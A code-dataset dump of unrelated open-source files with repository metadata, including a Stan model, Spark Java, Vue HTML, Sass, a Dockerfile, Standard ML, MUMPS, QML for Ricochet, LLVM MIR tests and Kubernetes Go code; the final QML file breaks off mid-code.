sigma ~ chi_square(1);
sigma_0 ~ chi_square(1);
sigma_1 ~ chi_square(1);
sigma_2 ~ chi_square(1);
sigma_3 ~ chi_square(1);
sigma_4 ~ chi_square(1);
//Likelihood
for(n in 1:N)
y[n] ~ poisson_log(lambda[n] +
sigma * epsilon[day[n]] +
sigma_1 * beta_1[officer[n]] +
sigma_2 * beta_2[week[n]] +
sigma_3 * beta_3[month[n]] +
sigma_4 * beta_4[holiday[n]]);
z ~ poisson_log(sigma_0 * epsilon + beta_0);
}
| Stan | 5 | stan-dev/stancon_talks | 2018/Contributed-Talks/01_auerbach/model2.stan | [
"CC-BY-4.0",
"BSD-3-Clause"
] |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.spark.sql.connector.metric;
import org.apache.spark.annotation.Evolving;
import java.util.Arrays;
import java.text.DecimalFormat;
/**
* Built-in `CustomMetric` that computes average of metric values. Note that please extend this
* class and override `name` and `description` to create your custom metric for real usage.
*
* @since 3.2.0
*/
@Evolving
public abstract class CustomAvgMetric implements CustomMetric {
@Override
public String aggregateTaskMetrics(long[] taskMetrics) {
if (taskMetrics.length > 0) {
double average = ((double)Arrays.stream(taskMetrics).sum()) / taskMetrics.length;
return new DecimalFormat("#0.000").format(average);
} else {
return "0";
}
}
}
| Java | 4 | akhalymon-cv/spark | sql/catalyst/src/main/java/org/apache/spark/sql/connector/metric/CustomAvgMetric.java | [
"Apache-2.0"
] |
<!DOCTYPE html>
<html lang="en">
<head>
<title>Profile Summary For GitHub</title>
<link rel="icon" href="/favicon.png">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Github Profile Summary is a GitHub visualization tool written in Kotlin">
<meta property="og:title" content="Github Profile Summary - Visualize your GitHub profile">
<meta property="og:site_name" content="Github Profile Summary">
<meta property="og:url" content="https://profile-summary-for-github.com">
<meta property="og:description" content="Github Profile Summary is a GitHub visualization tool written in Kotlin">
<meta property="og:image" content="https://user-images.githubusercontent.com/1521451/33957306-8e1d8af0-e041-11e7-8e04-3de9e32868ba.PNG">
<meta name="google-site-verification" content="HFqNncqWzEo0ZmlYB0fnuPLSGe48YvR9BDPOrhPnXSM" />
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Barlow+Semi+Condensed">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/css/square-jelly-box.min.css">
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/Chart.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/axios.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/min/moment.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/js-cookie@2/src/js.cookie.min.js"></script>
@componentRegistration
</head>
<body>
<main id="main-vue" class="content" v-cloak>
@routeComponent
</main>
<script>
new Vue({el: "#main-vue"});
</script>
</body>
</html>
| HTML | 3 | terrorizer1980/profile-summary-for-github | src/main/resources/vue/layout.html | [
"Apache-2.0"
] |
.root
margin-bottom: var(--spacing-md)
font: var(--font-size-sm)/var(--line-height-md) var(--font-primary)
background: var(--color-subtle-light)
padding: 1.5rem 2rem 0.75rem 1.5rem
border-radius: var(--border-radius)
color: var(--color-dark)
border-left: 0.75rem solid var(--color-subtle-light)
p, pre, ul, ol
margin-bottom: var(--spacing-xs)
p, li
font-size: inherit
line-height: inherit
ul li
padding-left: 0.75em
.list ul li
font-size: var(--font-size-sm)
list-style: none
padding: 0
margin: 0 0 0.35rem 0
&:before
all: initial
a, a span
border-bottom: 0 !important
.title
font-weight: bold
color: var(--color-theme)
display: block
margin-bottom: var(--spacing-xs)
font-size: var(--font-size-md)
code
font-weight: normal
color: inherit
.icon
color: var(--color-theme)
vertical-align: baseline
position: relative
bottom: -2px
.emoji
margin-right: 0.65em
.warning
--color-theme: var(--color-yellow-dark)
--color-theme-dark: var(--color-yellow-dark)
--color-inline-code-bg: var(--color-yellow-opaque)
border-color: var(--color-yellow-medium)
background: var(--color-yellow-light)
.danger
--color-theme: var(--color-red-dark)
--color-theme-dark: var(--color-red-dark)
--color-inline-code-bg: var(--color-red-opaque)
border-color: var(--color-red-medium)
background: var(--color-red-light)
| Sass | 3 | snosrap/spaCy | website/src/styles/infobox.module.sass | [
"MIT"
] |
FROM golang:1.18-alpine3.14 as builder
RUN apk add --no-cache \
wget \
make \
git \
gcc \
binutils-gold \
musl-dev
RUN wget -O /usr/local/bin/dumb-init https://github.com/Yelp/dumb-init/releases/download/v1.2.2/dumb-init_1.2.2_amd64 \
&& chmod +x /usr/local/bin/dumb-init
RUN mkdir -p /go/src/github.com/matrixorigin/matrixone
WORKDIR /go/src/github.com/matrixorigin/matrixone
COPY go.mod go.mod
COPY go.sum go.sum
# cache deps before building and copying source so that we don't need to re-download as much
# and so that source changes don't invalidate our downloaded layer
RUN go mod download
COPY . .
RUN make config && make build
FROM alpine
RUN apk add --no-cache bash
COPY --from=builder /go/src/github.com/matrixorigin/matrixone/mo-server /mo-server
COPY --from=builder /usr/local/bin/dumb-init /usr/local/bin/dumb-init
COPY /optools/test/config.toml /system_vars_config.toml
COPY --chmod=755 /optools/test/entrypoint.sh /entrypoint.sh
WORKDIR /
EXPOSE 6001
ENTRYPOINT ["/entrypoint.sh"]
| Modelica | 4 | Y7n05h/matrixone | optools/test/Dockerfile.mo | [
"Apache-2.0"
] |
insert into a values (1);
| SQL | 0 | imtbkcat/tidb-lightning | tests/checkpoint_engines/data/cpeng.a.1.sql | [
"Apache-2.0"
] |
{
metadata: {
namespace: "XML",
namespaceURI: "http://www.w3.org/XML/1998/namespace",
},
data: [
"lang",
"space",
],
}
| JSON5 | 3 | zealoussnow/chromium | third_party/blink/renderer/core/xml/xml_attribute_names.json5 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] |
datatype expr =
Var of int
| Val of int
| Add of expr * expr
| Mul of expr * expr;;
fun dec n =
if n = 0 then 0 else n - 1;;
fun mk_expr n v =
if n = 0 then (if v = 0 then Var 1 else Val v)
else Add (mk_expr (n-1) (v+1), mk_expr (n-1) (dec v));;
fun append_add e1 e2 =
case (e1, e2) of
(Add (e1, e2), e3) => Add (e1, append_add e2 e3)
| (e1, e2) => Add (e1, e2);;
fun append_mul e1 e2 =
case (e1, e2) of
(Mul (e1, e2), e3) => Mul (e1, append_mul e2 e3)
| (e1, e2) => Mul (e1, e2);;
fun reassoc e =
case e of
Add (e1, e2) =>
let val e1' = reassoc e1
val e2' = reassoc e2 in
append_add e1' e2' end
| Mul (e1, e2) =>
let val e1' = reassoc e1
val e2' = reassoc e2 in
append_mul e1' e2' end
| e => e;;
fun const_folding e =
case e of
Add (e1, e2) =>
let val e1 = const_folding e1
val e2 = const_folding e2 in
(case (e1, e2) of
(Val a, Val b) => Val (a+b)
| (Val a, Add (e, Val b)) => Add (Val (a+b), e)
| (Val a, Add (Val b, e)) => Add (Val (a+b), e)
| _ => Add (e1, e2))
end
| Mul (e1, e2) =>
let val e1 = const_folding e1
val e2 = const_folding e2 in
(case (e1, e2) of
(Val a, Val b) => Val (a*b)
| (Val a, Mul (e, Val b)) => Mul (Val (a*b), e)
| (Val a, Mul (Val b, e)) => Mul (Val (a*b), e)
| _ => Mul (e1, e2))
end
| e => e;;
fun size e =
case e of
Add (e1, e2) => size e1 + size e2 + 1
| Mul (e1, e2) => size e1 + size e2 + 1
| e => 1;;
fun eeval e =
case e of
Val n => n
| Var x => 0
| Add (e1, e2) => eeval e1 + eeval e2
| Mul (e1, e2) => eeval e1 * eeval e2;;
val e = (mk_expr 23 1)
val v1 = eeval e
val v2 = eeval (const_folding (reassoc e))
val _ = print (Int.toString v1 ^ " " ^ Int.toString v2 ^ "\n")
| Standard ML | 4 | JLimperg/lean4 | tests/bench/const_fold.sml | [
"Apache-2.0"
] |
factorial(num) ;
If num<0 Quit "Negative number"
If num["." Quit "Not an integer"
If num<2 Quit 1
Quit num*$$factorial(num-1)
Write $$factorial(0) ; 1
Write $$factorial(1) ; 1
Write $$factorial(2) ; 2
Write $$factorial(3) ; 6
Write $$factorial(10) ; 3628800
Write $$factorial(-6) ; Negative number
Write $$factorial(3.7) ; Not an integer
| M | 3 | LaudateCorpus1/RosettaCodeData | Task/Factorial/MUMPS/factorial-2.mumps | [
"Info-ZIP"
] |
import QtQuick 2.2
import QtQuick.Controls 1.0
import QtQuick.Layouts 1.0
ApplicationWindow {
id: window
width: minimumWidth
height: minimumHeight
minimumWidth: 400
maximumWidth: minimumWidth
minimumHeight: visibleItem.height + 16
maximumHeight: minimumHeight
title: "Ricochet"
signal networkReady
signal closed
onVisibleChanged: if (!visible) closed()
property Item visibleItem: configPage.visible ? configPage : pageLoader.item
function back() {
if (pageLoader.visible) {
pageLoader.visible = false
configPage.visible = true
} else {
openBeginning()
}
}
function openBeginning() {
configPage.visible = false
configPage.reset()
pageLoader.sourceComponent = firstPage
pageLoader.visible = true
}
function openConfig() {
pageLoader.visible = false
configPage.visible = true
}
function openBootstrap() {
configPage.visible = false
pageLoader.source = Qt.resolvedUrl("TorBootstrapStatus.qml")
pageLoader.visible = true
}
Loader {
id: pageLoader
anchors {
top: parent.top
left: parent.left
right: parent.right
margins: 8
}
sourceComponent: firstPage
}
TorConfigurationPage {
id: configPage
anchors {
top: parent.top
left: parent.left
right: parent.right
margins: 8
}
visible: false
}
StartupStatusPage {
id: statusPage
anchors {
top: parent.top
left: parent.left
right: parent.right
margins: 8
}
visible: false
onHasErrorChanged: {
if (hasError) {
if (visibleItem)
visibleItem.visible = false
pageLoader.visible = false
statusPage.visible = true
visibleItem = statusPage
}
}
}
Component {
id: firstPage
Column {
spacing: 8
Label {
width: parent.width
text: qsTr("This computer's Internet connection is free of obstacles. I would like to connect directly to the Tor network.")
wrapMode: Text.Wrap
horizontalAlignment: Qt.AlignHCenter
}
Button {
anchors.horizontalCenter: parent.horizontalCenter
text: qsTr("Connect")
isDefault: true
onClicked: {
// Reset to defaults and proceed to bootstrap page
configPage.reset()
configPage.save()
}
}
Rectangle {
height: 1
width: parent.width
color: palette.mid
}
Label {
width: parent.width
text: qsTr("This computer's Internet connection is censored, filtered, or proxied. I need to configure network settings.")
wrapMode: Text.Wrap
horizontalAlignment: Qt.AlignHCenter
}
Button {
anchors.horizontalCenter: parent.horizontalCenter
text: qsTr("Configure")
onClicked: window.openConfig()
}
}
}
Action {
shortcut: StandardKey.Close
onTriggered: window.close()
}
}
| QML | 4 | garrettr/ricochet | src/ui/qml/NetworkSetupWizard.qml | [
"OpenSSL"
] |
; Surface folds similar to HTML and includes blocks
[
(tag)
(component)
(block)
] @fold
| Scheme | 1 | hmac/nvim-treesitter | queries/surface/folds.scm | [
"Apache-2.0"
] |
" Vim filetype plugin file
" Language: sh
" Maintainer: Dan Sharp <dwsharp at users dot sourceforge dot net>
" Last Changed: 20 Jan 2009
" URL: http://dwsharp.users.sourceforge.net/vim/ftplugin
if exists("b:did_ftplugin") | finish | endif
let b:did_ftplugin = 1
" Make sure the continuation lines below do not cause problems in
" compatibility mode.
let s:save_cpo = &cpo
set cpo-=C
setlocal commentstring=#%s
" Shell: thanks to Johannes Zellner
if exists("loaded_matchit")
let s:sol = '\%(;\s*\|^\s*\)\@<=' " start of line
let b:match_words =
\ s:sol.'if\>:' . s:sol.'elif\>:' . s:sol.'else\>:' . s:sol. 'fi\>,' .
\ s:sol.'\%(for\|while\)\>:' . s:sol. 'done\>,' .
\ s:sol.'case\>:' . s:sol. 'esac\>'
endif
" Change the :browse e filter to primarily show shell-related files.
if has("gui_win32")
let b:browsefilter="Bourne Shell Scripts (*.sh)\t*.sh\n" .
\ "Korn Shell Scripts (*.ksh)\t*.ksh\n" .
\ "Bash Shell Scripts (*.bash)\t*.bash\n" .
\ "All Files (*.*)\t*.*\n"
endif
" Undo the stuff we changed.
let b:undo_ftplugin = "setlocal cms< | unlet! b:browsefilter b:match_words"
" Restore the saved compatibility options.
let &cpo = s:save_cpo
unlet s:save_cpo
| VimL | 4 | uga-rosa/neovim | runtime/ftplugin/sh.vim | [
"Vim"
] |
# RUN: llc -mtriple=aarch64-linux-gnu -mcpu=falkor -run-pass falkor-hwpf-fix-late -o - %s | FileCheck %s
---
# Verify that the tag collision between the loads is resolved for various load opcodes.
# CHECK-LABEL: name: hwpf1
# CHECK: $[[BASE:[a-z0-9]+]] = ORRXrs $xzr, $x1, 0
# CHECK: LDRWui $[[BASE]], 0
# CHECK: LDRWui $x1, 1
name: hwpf1
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1
$w2 = LDRWui $x1, 0 :: ("aarch64-strided-access" load 4)
$w2 = LDRWui $x1, 1
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# CHECK-LABEL: name: hwpf2
# CHECK: $[[BASE:[a-z0-9]+]] = ORRXrs $xzr, $x1, 0
# CHECK: LD1i64 $q2, 0, $[[BASE]]
# CHECK: LDRWui $x1, 0
name: hwpf2
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1, $q2
$q2 = LD1i64 $q2, 0, $x1 :: ("aarch64-strided-access" load 4)
$w2 = LDRWui $x1, 0
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# CHECK-LABEL: name: hwpf3
# CHECK: $[[BASE:[a-z0-9]+]] = ORRXrs $xzr, $x1, 0
# CHECK: LD1i8 $q2, 0, $[[BASE]]
# CHECK: LDRWui $x1, 0
name: hwpf3
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1, $q2
$q2 = LD1i8 $q2, 0, $x1 :: ("aarch64-strided-access" load 4)
$w0 = LDRWui $x1, 0
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# CHECK-LABEL: name: hwpf4
# CHECK: $[[BASE:[a-z0-9]+]] = ORRXrs $xzr, $x1, 0
# CHECK: LD1Onev1d $[[BASE]]
# CHECK: LDRWui $x1, 0
name: hwpf4
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1
$d2 = LD1Onev1d $x1 :: ("aarch64-strided-access" load 4)
$w2 = LDRWui $x1, 0
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# CHECK-LABEL: name: hwpf5
# CHECK: $[[BASE:[a-z0-9]+]] = ORRXrs $xzr, $x1, 0
# CHECK: LD1Twov1d $[[BASE]]
# CHECK: LDRWui $x1, 0
name: hwpf5
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1
$d2_d3 = LD1Twov1d $x1 :: ("aarch64-strided-access" load 4)
$w0 = LDRWui $x1, 0
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# CHECK-LABEL: name: hwpf6
# CHECK: $[[BASE:[a-z0-9]+]] = ORRXrs $xzr, $x1, 0
# CHECK: LDPQi $[[BASE]]
# CHECK: LDRWui $x1, 3
name: hwpf6
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1
$q2, $q3 = LDPQi $x1, 3 :: ("aarch64-strided-access" load 4)
$w0 = LDRWui $x1, 3
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# CHECK-LABEL: name: hwpf7
# CHECK: $[[BASE:[a-z0-9]+]] = ORRXrs $xzr, $x1, 0
# CHECK: LDPXi $[[BASE]]
# CHECK: LDRWui $x1, 2
name: hwpf7
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1
$x2, $x3 = LDPXi $x1, 3 :: ("aarch64-strided-access" load 4)
$w2 = LDRWui $x1, 2
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# Verify that the tag collision between the loads is resolved and written back
# for post increment addressing for various load opcodes.
# CHECK-LABEL: name: hwpfinc1
# CHECK: $[[BASE:[a-z0-9]+]] = ORRXrs $xzr, $x1, 0
# CHECK: LDRWpost $[[BASE]], 0
# CHECK: $x1 = ORRXrs $xzr, $[[BASE]], 0
# CHECK: LDRWui $x1, 1
name: hwpfinc1
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1
$x1, $w2 = LDRWpost $x1, 0 :: ("aarch64-strided-access" load 4)
$w2 = LDRWui $x1, 1
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# CHECK-LABEL: name: hwpfinc2
# CHECK: $[[BASE:[a-z0-9]+]] = ORRXrs $xzr, $x1, 0
# CHECK: LD1i64_POST $q2, 0, $[[BASE]]
# CHECK: $x1 = ORRXrs $xzr, $[[BASE]], 0
# CHECK: LDRWui $x1, 1
name: hwpfinc2
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1, $q2
$x1, $q2 = LD1i64_POST $q2, 0, $x1, $x1 :: ("aarch64-strided-access" load 4)
$w2 = LDRWui $x1, 132
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# CHECK-LABEL: name: hwpfinc3
# CHECK: $[[BASE:[a-z0-9]+]] = ORRXrs $xzr, $x1, 0
# CHECK: LD1i8_POST $q2, 0, $[[BASE]]
# CHECK: $x1 = ORRXrs $xzr, $[[BASE]], 0
# CHECK: LDRWui $x1, 132
name: hwpfinc3
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1, $q2
$x1, $q2 = LD1i8_POST $q2, 0, $x1, $x1 :: ("aarch64-strided-access" load 4)
$w0 = LDRWui $x1, 132
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# CHECK-LABEL: name: hwpfinc4
# CHECK: $[[BASE:[a-z0-9]+]] = ORRXrs $xzr, $x1, 0
# CHECK: LD1Rv1d_POST $[[BASE]]
# CHECK: $x1 = ORRXrs $xzr, $[[BASE]], 0
# CHECK: LDRWui $x1, 252
name: hwpfinc4
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1, $q2
$x1, $d2 = LD1Rv1d_POST $x1, $xzr :: ("aarch64-strided-access" load 4)
$w2 = LDRWui $x1, 252
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# CHECK-LABEL: name: hwpfinc5
# CHECK: $[[BASE:[a-z0-9]+]] = ORRXrs $xzr, $x1, 0
# CHECK: LD3Threev2s_POST $[[BASE]]
# CHECK: $x1 = ORRXrs $xzr, $[[BASE]], 0
# CHECK: LDRWroX $x17, $x0
name: hwpfinc5
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1, $x17, $q2
$x1, $d2_d3_d4 = LD3Threev2s_POST $x1, $x0 :: ("aarch64-strided-access" load 4)
$w0 = LDRWroX $x17, $x0, 0, 0
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# CHECK-LABEL: name: hwpfinc6
# CHECK: $[[BASE:[a-z0-9]+]] = ORRXrs $xzr, $x1, 0
# CHECK: LDPDpost $[[BASE]]
# CHECK: $x1 = ORRXrs $xzr, $[[BASE]], 0
# CHECK: LDRWui $x17, 2
name: hwpfinc6
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1, $x17, $q2
$x1, $d2, $d3 = LDPDpost $x1, 3 :: ("aarch64-strided-access" load 4)
$w16 = LDRWui $x17, 2
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# CHECK-LABEL: name: hwpfinc7
# CHECK: $[[BASE:[a-z0-9]+]] = ORRXrs $xzr, $x1, 0
# CHECK: LDPXpost $[[BASE]]
# CHECK: $x1 = ORRXrs $xzr, $[[BASE]], 0
# CHECK: LDRWui $x17, 2
name: hwpfinc7
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1, $x17, $q2
$x1, $x2, $x3 = LDPXpost $x1, 3 :: ("aarch64-strided-access" load 4)
$w18 = LDRWui $x17, 2
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# Check that we handle case of strided load with no HW prefetcher tag correctly.
# CHECK-LABEL: name: hwpf_notagbug
# CHECK-NOT: ORRXrs $xzr
# CHECK: LDARW $x1
# CHECK-NOT: ORRXrs $xzr
# CHECK: LDRWui $x1
name: hwpf_notagbug
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1, $x17
$w1 = LDARW $x1 :: ("aarch64-strided-access" load 4)
$w1 = LDRWui $x1, 0 :: ("aarch64-strided-access" load 4)
$w17 = LDRWui $x17, 0 :: ("aarch64-strided-access" load 4)
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# Check that we treat sp based loads as non-prefetching.
# CHECK-LABEL: name: hwpf_spbase
# CHECK-NOT: ORRXrs $xzr
# CHECK: LDRWui $x15
# CHECK: LDRWui $sp
name: hwpf_spbase
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x15
$w1 = LDRWui $x15, 0 :: ("aarch64-strided-access" load 4)
$w17 = LDRWui $sp, 0
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
---
# Check that non-base registers are considered live when finding a
# scratch register by making sure we don't use $x2 for the scratch
# register for the inserted ORRXrs.
# CHECK-LABEL: name: hwpf_offreg
# CHECK: $x3 = ORRXrs $xzr, $x1, 0
# CHECK: $w10 = LDRWroX $x3, $x2, 0, 0
name: hwpf_offreg
tracksRegLiveness: true
body: |
bb.0:
liveins: $w0, $x1, $x2, $x17, $x18
$w10 = LDRWroX $x1, $x2, 0, 0 :: ("aarch64-strided-access" load 4)
$x2 = ORRXrs $xzr, $x10, 0
$w26 = LDRWroX $x1, $x2, 0, 0
$w0 = SUBWri $w0, 1, 0
$wzr = SUBSWri $w0, 0, 0, implicit-def $nzcv
Bcc 9, %bb.0, implicit $nzcv
bb.1:
RET_ReallyLR
...
| Mirah | 4 | medismailben/llvm-project | llvm/test/CodeGen/AArch64/falkor-hwpf-fix.mir | [
"Apache-2.0"
] |
/*
Copyright 2019 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package proxy
import (
v1 "k8s.io/api/core/v1"
utilfeature "k8s.io/apiserver/pkg/util/feature"
"k8s.io/klog/v2"
"k8s.io/kubernetes/pkg/features"
)
// FilterEndpoints filters endpoints based on Service configuration, node
// labels, and enabled feature gates. This is primarily used to enable topology
// aware routing.
func FilterEndpoints(endpoints []Endpoint, svcInfo ServicePort, nodeLabels map[string]string) []Endpoint {
if svcInfo.NodeLocalExternal() {
return endpoints
}
if utilfeature.DefaultFeatureGate.Enabled(features.ServiceInternalTrafficPolicy) && svcInfo.NodeLocalInternal() {
return FilterLocalEndpoint(endpoints)
}
if utilfeature.DefaultFeatureGate.Enabled(features.TopologyAwareHints) {
return filterEndpointsWithHints(endpoints, svcInfo.HintsAnnotation(), nodeLabels)
}
return endpoints
}
// filterEndpointsWithHints provides filtering based on the hints included in
// EndpointSlices. If any of the following are true, the full list of endpoints
// will be returned without any filtering:
// * The AnnotationTopologyAwareHints annotation is not set to "Auto" for this
// Service.
// * No zone is specified in node labels.
// * No endpoints for this Service have a hint pointing to the zone this
// instance of kube-proxy is running in.
// * One or more endpoints for this Service do not have hints specified.
func filterEndpointsWithHints(endpoints []Endpoint, hintsAnnotation string, nodeLabels map[string]string) []Endpoint {
if hintsAnnotation != "Auto" && hintsAnnotation != "auto" {
if hintsAnnotation != "" && hintsAnnotation != "Disabled" && hintsAnnotation != "disabled" {
klog.InfoS("Skipping topology aware endpoint filtering since Service has unexpected value", "annotationTopologyAwareHints", v1.AnnotationTopologyAwareHints, "hints", hintsAnnotation)
}
return endpoints
}
zone, ok := nodeLabels[v1.LabelTopologyZone]
if !ok || zone == "" {
klog.InfoS("Skipping topology aware endpoint filtering since node is missing label", "label", v1.LabelTopologyZone)
return endpoints
}
filteredEndpoints := []Endpoint{}
for _, endpoint := range endpoints {
if endpoint.GetZoneHints().Len() == 0 {
klog.InfoS("Skipping topology aware endpoint filtering since one or more endpoints is missing a zone hint")
return endpoints
}
if endpoint.GetZoneHints().Has(zone) {
filteredEndpoints = append(filteredEndpoints, endpoint)
}
}
if len(filteredEndpoints) == 0 {
klog.InfoS("Skipping topology aware endpoint filtering since no hints were provided for zone", "zone", zone)
return endpoints
}
return filteredEndpoints
}
// FilterLocalEndpoint returns the node local endpoints
func FilterLocalEndpoint(endpoints []Endpoint) []Endpoint {
var filteredEndpoints []Endpoint
// Get all the local endpoints
for _, ep := range endpoints {
if ep.GetIsLocal() {
filteredEndpoints = append(filteredEndpoints, ep)
}
}
return filteredEndpoints
}
| Go | 5 | mhermida/kubernetes | pkg/proxy/topology.go | [
"Apache-2.0"
] |
MODULE mg_rust_example
DESCRIPTION Example DLM from rust
VERSION 1.0
SOURCE mgalloy
BUILD_DATE 6 July 2015
FUNCTION MG_OUTPUTFORMATFUNC 1 1
| IDL | 1 | mandrakos/mglib | src/rust/mg_rust_example.dlm | [
"Apache-2.0"
] |
main: func {
range := 3..13
expect(3, range min)
expect(13, range max)
}
| ooc | 3 | shamanas/rock | test/compiler/literals/range-literal.ooc | [
"MIT"
] |
import QtQuick 2.0
import QtQuick.Controls 1.0
import QtQuick.Layouts 1.0
import im.ricochet 1.0
FocusScope {
id: chatPage
property var contact
property TextArea textField: textInput
property var conversationModel: (contact !== null) ? contact.conversation : null
function forceActiveFocus() {
textField.forceActiveFocus()
}
onVisibleChanged: if (visible) forceActiveFocus()
property bool active: visible && activeFocusItem !== null
onActiveChanged: {
if (active)
conversationModel.resetUnreadCount()
}
Connections {
target: conversationModel
onUnreadCountChanged: if (active) conversationModel.resetUnreadCount()
}
RowLayout {
id: infoBar
anchors {
top: parent.top
left: parent.left
leftMargin: 4
right: parent.right
rightMargin: 4
}
height: implicitHeight + 8
spacing: 8
PresenceIcon {
status: contact.status
}
Label {
text: contact.nickname
textFormat: Text.PlainText
font.pointSize: styleHelper.pointSize
}
Item {
Layout.fillWidth: true
height: 1
}
}
Rectangle {
anchors {
left: parent.left
right: parent.right
top: infoBar.top
bottom: infoBar.bottom
}
color: palette.base
z: -1
Column {
anchors {
top: parent.bottom
left: parent.left
right: parent.right
}
Rectangle { width: parent.width; height: 1; color: palette.midlight; }
Rectangle { width: parent.width; height: 1; color: palette.window; }
}
}
ChatMessageArea {
anchors {
top: infoBar.bottom
topMargin: 2
left: parent.left
right: parent.right
bottom: statusBar.top
}
model: conversationModel
}
StatusBar {
id: statusBar
anchors {
left: parent.left
right: parent.right
bottom: parent.bottom
}
height: statusLayout.height + 8
RowLayout {
id: statusLayout
width: statusBar.width - 8
y: 2
TextArea {
id: textInput
Layout.fillWidth: true
y: 2
// This ridiculous incantation enables an automatically sized TextArea
Layout.preferredHeight: mapFromItem(flickableItem, 0, 0).y * 2 +
Math.max(styleHelper.textHeight + 2*edit.textMargin, flickableItem.contentHeight)
Layout.maximumHeight: (styleHelper.textHeight * 4) + (2 * edit.textMargin)
textMargin: 3
wrapMode: TextEdit.Wrap
textFormat: TextEdit.PlainText
font.pointSize: styleHelper.pointSize
focus: true
property TextEdit edit
Component.onCompleted: {
var objects = contentItem.contentItem.children
for (var i = 0; i < objects.length; i++) {
if (objects[i].hasOwnProperty('textDocument')) {
